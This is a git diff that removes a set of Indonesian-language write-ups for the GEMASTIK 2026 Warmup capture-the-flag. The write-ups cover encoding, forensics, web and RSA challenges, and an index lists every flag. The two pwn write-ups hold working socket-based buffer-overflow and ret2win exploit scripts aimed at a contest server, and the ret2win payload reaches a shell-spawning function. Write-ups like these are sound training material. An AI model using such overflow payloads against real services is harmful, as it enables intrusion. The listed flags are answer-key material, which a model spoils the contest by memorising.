diff --git a/content/writeups/gemastik-2026-warmup/_index.md b/content/writeups/gemastik-2026-warmup/_index.md
deleted file mode 100644
index f444143..0000000
--- a/content/writeups/gemastik-2026-warmup/_index.md
+++ /dev/null
@@ -1,58 +0,0 @@
----
-title: "GEMASTIK 2026 Warmup — All Chapters"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "writeup-index"]
-path: "writeups/gemastik-2026-warmup/_index.md"
-created_at: "2026-08-21T07:17:48.670Z"
-updated_at: "2026-08-21T07:17:48.670Z"
----
----
-title: "GEMASTIK 2026 Warmup — All Chapters"
-event: "GEMASTIK 2026 Warmup"
-category: "index"
-points: 0
-difficulty: "index"
----
-
-# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
-
-**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
-**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
-
-| # | Challenge | Category | Diff | Flag |
-|---|-----------|----------|------|------|
-| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
-| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
-| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
-| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
-| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
-| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
-| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
-| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
-| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
-| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
-| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
-| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
-| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
-| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
-
-### Ringkasan Metode
-| Ch | Metode | Tool |
-|----|--------|------|
-| 1 | Double Base64 | base64 -d ×2 |
-| 2 | ROT13 Caesar | codecs.encode(s, "rot_13") |
-| 3 | strings | strings secret.bin |
-| 4 | EXIF metadata | strings photo.jpg |
-| 5 | HTML comment | curl \| grep '<!--' |
-| 6 | Base64 cookie | base64 -d |
-| 7 | ASCII codes | chr() decoding |
-| 8 | Single-byte XOR | XOR 0x42 |
-| 9 | Stack overflow | buffer > admin |
-| 10 | ret2win + align | ROP chain |
-| 11 | PNG strings | strings kucing.png |
-| 12 | Hex→Base64 | bytes.fromhex + b64decode |
-| 13 | RSA small factors | trial division / sympy factorint |
-| 14 | RSA special integers | GCD with paper appendix primes |
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch1-sixty-four.md b/content/writeups/gemastik-2026-warmup/ch1-sixty-four.md
deleted file mode 100644
index a1cbf4a..0000000
--- a/content/writeups/gemastik-2026-warmup/ch1-sixty-four.md
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: "Sixty Four — Double Base64"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "crypto"]
-path: "writeups/gemastik-2026-warmup/ch1-sixty-four.md"
-created_at: "2026-08-21T07:25:17.079Z"
-updated_at: "2026-08-21T07:25:17.079Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Sixty Four — Double Base64"
-category: "crypto"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
----
-# Sixty Four (500 pts) — Encoding
-
-**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
-
-Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
-
-```bash
-$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
-R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
-$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
-GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
-```
-
-## Solusi Python
-
-```python
-import base64
-
-with open("chall.txt") as f:
-    s = f.read().strip()
-
-# First base64 decode
-decoded1 = base64.b64decode(s)
-# Second base64 decode
-flag = base64.b64decode(decoded1).decode()
-
-print(f"Flag: {flag}")
-# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
-```
-
-## Flag
-
-`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch10-call-me.md b/content/writeups/gemastik-2026-warmup/ch10-call-me.md
deleted file mode 100644
index e6cb9a8..0000000
--- a/content/writeups/gemastik-2026-warmup/ch10-call-me.md
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: "Call Me — ret2win"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "pwn"]
-path: "writeups/gemastik-2026-warmup/ch10-call-me.md"
-created_at: "2026-08-21T07:25:43.282Z"
-updated_at: "2026-08-21T07:25:43.282Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Call Me — ret2win"
-category: "pwn"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
----
-# Call Me (500 pts) — Pwn / ret2win
-
-**Server:** `nc 15.232.89.109 9002`
-
-**Source (`chall.c`):**
-
-```c
-void win() { system("/bin/sh"); }  // flag printed inside
-
-char buf[32];
-gets(buf);                          // <-- overflow
-```
-
-## Eksploitasi
-
-1. Compile lokal untuk dapatkan alamat `win()`:
-```bash
-gcc -fno-stack-protector -no-pie -o ch10 chall.c
-nm ch10 | grep win
-# 00000000004011f6 T win
-```
-
-2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
-   Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
-
-```python
-import socket, time, struct
-
-s = socket.socket()
-s.connect(("15.232.89.109", 9002))
-time.sleep(0.5)
-
-RET_GADGET = 0x401016   # alignment
-WIN_ADDR = 0x4011f6
-
-payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
-s.sendall(payload + b"\n")
-time.sleep(1.5)
-print(s.recv(4096).decode())
-# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
-```
-
-## Flag
-
-`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch11-behind-the-picture.md b/content/writeups/gemastik-2026-warmup/ch11-behind-the-picture.md
deleted file mode 100644
index 7fb78fe..0000000
--- a/content/writeups/gemastik-2026-warmup/ch11-behind-the-picture.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: "Behind the Picture — PNG Strings"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "forensics"]
-path: "writeups/gemastik-2026-warmup/ch11-behind-the-picture.md"
-created_at: "2026-08-21T07:25:45.672Z"
-updated_at: "2026-08-21T07:25:45.672Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Behind the Picture — PNG Strings"
-category: "forensics"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
----
-# Behind the Picture (500 pts) — Steganografi / PNG
-
-**File:** `kucing.png` (cat image)
-
-Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
-
-```bash
-strings kucing.png | grep GEMASTIK
-# GEMASTIK19{c4t_g4mbar_ada_flag}
-```
-
-## Flag
-
-`GEMASTIK19{c4t_g4mbar_ada_flag}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch12-layers.md b/content/writeups/gemastik-2026-warmup/ch12-layers.md
deleted file mode 100644
index 6deabbd..0000000
--- a/content/writeups/gemastik-2026-warmup/ch12-layers.md
+++ /dev/null
@@ -1,41 +0,0 @@
----
-title: "Layers — Hex to Base64 Chain"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "crypto"]
-path: "writeups/gemastik-2026-warmup/ch12-layers.md"
-created_at: "2026-08-21T07:25:48.559Z"
-updated_at: "2026-08-21T07:25:48.559Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Layers — Hex to Base64 Chain"
-category: "crypto"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
----
-# Layers (500 pts) — Encoding chain
-
-**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
-
-Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
-
-```python
-import base64
-
-s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
-
-# Layer 1: hex decode
-b = bytes.fromhex(s)
-# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
-
-# Layer 2: base64 decode
-flag = base64.b64decode(b).decode()
-print(flag)
-# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
-```
-
-## Flag
-
-`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch13-slopped.md b/content/writeups/gemastik-2026-warmup/ch13-slopped.md
deleted file mode 100644
index 739adff..0000000
--- a/content/writeups/gemastik-2026-warmup/ch13-slopped.md
+++ /dev/null
@@ -1,67 +0,0 @@
----
-title: "Slopped — RSA Small Factors"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "crypto"]
-path: "writeups/gemastik-2026-warmup/ch13-slopped.md"
-created_at: "2026-08-21T07:26:21.304Z"
-updated_at: "2026-08-21T07:26:21.304Z"
-category: "crypto"
-challenge: "Slopped"
-difficulty: "medium"
-event: "GEMASTIK 2026 Warmup"
-flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
-points: 500
----
-
-# Slopped (500 pts) — Crypto / RSA small factors
-
-**File:** `chall.py`
-
-```python
-import random
-p = random.randint(1, 10**4)   # tiny prime candidates
-q = random.randint(1, 10**4)
-# ... find small primes, multiply
-n = p * q * (big prime)
-e = 0x10001
-c = pow(flag, e, n)
-```
-
-## Analisis
-
-RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
-`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with
-1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
-
-## Solusi
-
-```python
-from Crypto.Util.number import long_to_bytes
-from sympy import factorint
-
-e = 0x10001
-n = 0xdb...  # 2048-bit modulus
-c = 0x...
-
-factors = factorint(n)
-print(factors)
-# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
-
-phi = 1
-for p, exp in factors.items():
-    phi *= (p - 1) * p**(exp - 1)
-
-d = pow(e, -1, phi)
-m = pow(c, d, n)
-print(long_to_bytes(m))
-# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
-```
-
-## Flag
-
-`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
-
-> Flag ini adalah petunjuk untuk ch14 (paper search).
diff --git a/content/writeups/gemastik-2026-warmup/ch14-slopped-wave2.md b/content/writeups/gemastik-2026-warmup/ch14-slopped-wave2.md
deleted file mode 100644
index 6f6b467..0000000
--- a/content/writeups/gemastik-2026-warmup/ch14-slopped-wave2.md
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: "Slopped wave-2 — RSA Special Integers (Paper Search)"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "crypto"]
-path: "writeups/gemastik-2026-warmup/ch14-slopped-wave2.md"
-created_at: "2026-08-21T07:25:51.729Z"
-updated_at: "2026-08-21T07:25:51.729Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Slopped wave-2 — RSA Special Integers (Paper Search)"
-category: "crypto"
-points: 501
-difficulty: "hard"
-flag: "GEMASTIK19{test_vector_of_listP_on_quant}"
----
-# Slopped wave-2 (501 pts) — Crypto / RSA "special integers"
-
-**File:** `chals.py` — Kategori: `crypto, misc`
-
-## Challenge
-
-```python
-p = #### (hidden_length)
-q = #### (hidden_length)
-n = p * q
-print(n)
-
-e = 0x10001
-p = bytes_to_long(b'GEMASTIK19{...}')   # flag hijacked as 'p'
-c = pow(p, e, n)
-print(c)
-```
-
-`c = pow(p, e, n)` dengan `p = bytes_to_long(flag)`, `e = 0x10001`, `n` 2048-bit.
-
-## Analisis Serangan
-
-Semua serangan standar gagal:
-- **Fermat** (close primes): gap > 1.2×10^159
-- **ECM**: tidak smooth (B1=43M)
-- **Pollard p-1**: B=2M — tidak smooth
-- **ROCA**: n mod M bukan pangkat 65537
-- **Wiener / Boneh-Durfee**: e kecil berarti d besar
-- **Trial division** ke 10M: bersih
-
-### Hint "paper search"
-
-Hint dari ch13 ("you should use paper search mcp skill") mengarah ke paper akademik.
-
-Paper: **[Wang et al., "A First Successful Factorization of RSA-2048 Integer by D-Wave Quantum Computer (TST 2024.9010028)"](https://www.sciopen.com/article/10.26599/TST.2024.9010028)**.
-
-Paper mendefinisikan **"special integer"**: `n = p·q` di mana kedua prima berbeda tepat 2 bit (`popcount(p XOR q) = 2`). Appendix Table S1 berisi 10 contoh (N, p, q) yang **menggunakan kembali prima yang sama** — inilah "sloppiness" wave-2: modulus challenge merekonstruksi ulang dua prima dari dua contoh berbeda.
-
-## Solusi
-
-Hitung `gcd(n, P_i)` untuk setiap prima `P_i` di 10 contoh paper:
-
-```python
-import math
-from Crypto.Util.number import long_to_bytes
-
-n = <2048-bit modulus from challenge>
-e = 0x10001
-c = <ciphertext>
-
-# 10 contoh dari appendix paper, setiap contoh punya (p, q)
-paper_examples = [...]
-
-for ex in paper_examples:
-    for P in (ex.p, ex.q):
-        g = math.gcd(n, int(P))
-        if 1 < g < n:
-            p_factor = g
-            q_factor = n // g
-            break
-
-phi = (p_factor - 1) * (q_factor - 1)
-d = pow(e, -1, phi)
-flag = pow(c, d, n)
-print(long_to_bytes(flag))
-# GEMASTIK19{test_vector_of_listP_on_quant}
-```
-
-## Flag
-
-`GEMASTIK19{test_vector_of_listP_on_quant}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch2-julius.md b/content/writeups/gemastik-2026-warmup/ch2-julius.md
deleted file mode 100644
index c870041..0000000
--- a/content/writeups/gemastik-2026-warmup/ch2-julius.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: "Julius — ROT13 Caesar Cipher"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "crypto"]
-path: "writeups/gemastik-2026-warmup/ch2-julius.md"
-created_at: "2026-08-21T07:25:20.120Z"
-updated_at: "2026-08-21T07:25:20.120Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Julius — ROT13 Caesar Cipher"
-category: "crypto"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
----
-# Julius (500 pts) — Caesar / ROT13
-
-**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
-
-Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
-`TRZNFGVX19` → `GEMASTIK19`, dst.
-
-```python
-import codecs
-
-s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
-flag = codecs.encode(s, "rot_13")
-print(f"Flag: {flag}")
-# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
-```
-
-## Flag
-
-`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch3-needle.md b/content/writeups/gemastik-2026-warmup/ch3-needle.md
deleted file mode 100644
index 2083d39..0000000
--- a/content/writeups/gemastik-2026-warmup/ch3-needle.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: "Needle — Strings Binary"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "forensics"]
-path: "writeups/gemastik-2026-warmup/ch3-needle.md"
-created_at: "2026-08-21T07:25:23.053Z"
-updated_at: "2026-08-21T07:25:23.053Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Needle — Strings Binary"
-category: "forensics"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
----
-# Needle (500 pts) — Steganografi / Binary
-
-**File:** `secret.bin` (748 bytes, binary)
-
-Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
-
-```bash
-strings secret.bin | grep GEMASTIK
-# GEMASTIK19{str1ngs_c4n_f1nd_m3}
-```
-
-## Flag
-
-`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch4-say-cheese.md b/content/writeups/gemastik-2026-warmup/ch4-say-cheese.md
deleted file mode 100644
index e96e53c..0000000
--- a/content/writeups/gemastik-2026-warmup/ch4-say-cheese.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: "Say Cheese — EXIF Metadata"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "forensics"]
-path: "writeups/gemastik-2026-warmup/ch4-say-cheese.md"
-created_at: "2026-08-21T07:25:25.953Z"
-updated_at: "2026-08-21T07:25:25.953Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Say Cheese — EXIF Metadata"
-category: "forensics"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
----
-# Say Cheese (500 pts) — Steganografi / Metadata
-
-**File:** `photo.jpg`
-
-Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
-
-```bash
-strings photo.jpg | grep GEMASTIK
-# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
-```
-
-## Flag
-
-`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch5-nothing-here.md b/content/writeups/gemastik-2026-warmup/ch5-nothing-here.md
deleted file mode 100644
index 4183245..0000000
--- a/content/writeups/gemastik-2026-warmup/ch5-nothing-here.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: "Nothing Here — Web Comment"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "web"]
-path: "writeups/gemastik-2026-warmup/ch5-nothing-here.md"
-created_at: "2026-08-21T07:25:28.880Z"
-updated_at: "2026-08-21T07:25:28.880Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Nothing Here — Web Comment"
-category: "web"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
----
-# Nothing Here (500 pts) — Web
-
-**URL:** `http://15.232.89.109:8001/`
-
-Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
-
-```html
-<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
-```
-
-## Recon
-
-```bash
-curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
-```
-
-## Flag
-
-`GEMASTIK19{v13w_s0urc3_pahlawan}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch6-sweet-cookie.md b/content/writeups/gemastik-2026-warmup/ch6-sweet-cookie.md
deleted file mode 100644
index 5537dfc..0000000
--- a/content/writeups/gemastik-2026-warmup/ch6-sweet-cookie.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: "Sweet Cookie — Base64 Cookie"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "web"]
-path: "writeups/gemastik-2026-warmup/ch6-sweet-cookie.md"
-created_at: "2026-08-21T07:25:31.627Z"
-updated_at: "2026-08-21T07:25:31.627Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Sweet Cookie — Base64 Cookie"
-category: "web"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
----
-# Sweet Cookie (500 pts) — Web
-
-**URL:** `http://15.232.89.109:8002/`
-
-Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
-
-```python
-import base64
-
-# Cookie value from Set-Cookie header
-cookie = "eyJ1c2V..."  # nilai session cookie
-decoded = base64.b64decode(cookie)
-print(decoded)
-# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
-```
-
-## Flag
-
-`GEMASTIK19{c00k13_b4s3_d3c0d3}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch7-open-book.md b/content/writeups/gemastik-2026-warmup/ch7-open-book.md
deleted file mode 100644
index ef048b7..0000000
--- a/content/writeups/gemastik-2026-warmup/ch7-open-book.md
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: "Open Book — Python Source"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "misc"]
-path: "writeups/gemastik-2026-warmup/ch7-open-book.md"
-created_at: "2026-08-21T07:25:34.522Z"
-updated_at: "2026-08-21T07:25:34.522Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Open Book — Python Source"
-category: "misc"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
----
-# Open Book (500 pts) — Misc / Source
-
-**File:** `chall.py`
-
-Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
-
-```python
-SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
-          115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
-
-flag = "".join(chr(c) for c in SECRET)
-print(flag)
-# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
-```
-
-## Flag
-
-`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch8-back-and-forth.md b/content/writeups/gemastik-2026-warmup/ch8-back-and-forth.md
deleted file mode 100644
index 2114e6e..0000000
--- a/content/writeups/gemastik-2026-warmup/ch8-back-and-forth.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: "Back and Forth — XOR"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "reverse"]
-path: "writeups/gemastik-2026-warmup/ch8-back-and-forth.md"
-created_at: "2026-08-21T07:25:37.394Z"
-updated_at: "2026-08-21T07:25:37.394Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Back and Forth — XOR"
-category: "reverse"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{x0r_it_back_4gain}"
----
-# Back and Forth (500 pts) — Reversing / XOR
-
-**File:** `chall.c`
-
-Flag di-XOR dengan kunci 1-byte `0x42`. Balikkan dengan XOR lagi:
-
-```python
-enc = [0x05, 0x07, 0x0f, 0x03, 0x11, 0x16, 0x0b, 0x09, 0x73, 0x7b, 0x39, 0x3a,
-       0x72, 0x30, 0x1d, 0x2b, 0x36, 0x1d, 0x20, 0x23, 0x21, 0x29, 0x1d, 0x76,
-       0x25, 0x23, 0x2b, 0x2c, 0x3f]
-
-flag = "".join(chr(b ^ 0x42) for b in enc)
-print(flag)
-# GEMASTIK19{x0r_it_back_4gain}
-```
-
-## Flag
-
-`GEMASTIK19{x0r_it_back_4gain}`
\ No newline at end of file
diff --git a/content/writeups/gemastik-2026-warmup/ch9-are-you-admin.md b/content/writeups/gemastik-2026-warmup/ch9-are-you-admin.md
deleted file mode 100644
index 584e0c4..0000000
--- a/content/writeups/gemastik-2026-warmup/ch9-are-you-admin.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: "Are You Admin? — Buffer Overflow"
-type: "writeup"
-section: "writeups"
-status: "published"
-author: "asep"
-tags: ["gemastik", "ctf", "warmup", "pwn"]
-path: "writeups/gemastik-2026-warmup/ch9-are-you-admin.md"
-created_at: "2026-08-21T07:25:39.978Z"
-updated_at: "2026-08-21T07:25:39.978Z"
-event: "GEMASTIK 2026 Warmup"
-challenge: "Are You Admin? — Buffer Overflow"
-category: "pwn"
-points: 500
-difficulty: "easy"
-flag: "GEMASTIK19{0v3rfl0w_ubah_var}"
----
-# Are You Admin? (500 pts) — Pwn / Buffer Overflow
-
-**Server:** `nc 15.232.89.109 9001`
-
-**Source (`chall.c`):**
-
-```c
-volatile int admin = 0;
-char name[16];
-gets(name);                 // <-- overflow, no bounds check
-if (admin != 0) { /* print flag */ }
-```
-
-## Eksploitasi
-
-Stack layout: `name[16]` diikuti oleh `admin` (int). Overflow `name` dengan padding 20 byte
-lalu 4 byte nonzero untuk mengubah `admin` menjadi != 0:
-
-```python
-import socket, time
-
-s = socket.socket()
-s.connect(("15.232.89.109", 9001))
-time.sleep(0.5)
-
-# 16 bytes buf + 4 bytes padding + 4 bytes admin override
-payload = b"A" * 20 + b"\xff\xff\xff\xff"
-s.sendall(payload + b"\n")
-time.sleep(1.2)
-print(s.recv(4096).decode())
-# -> GEMASTIK19{0v3rfl0w_ubah_var}
-```
-
-## Flag
-
-`GEMASTIK19{0v3rfl0w_ubah_var}`
\ No newline at end of file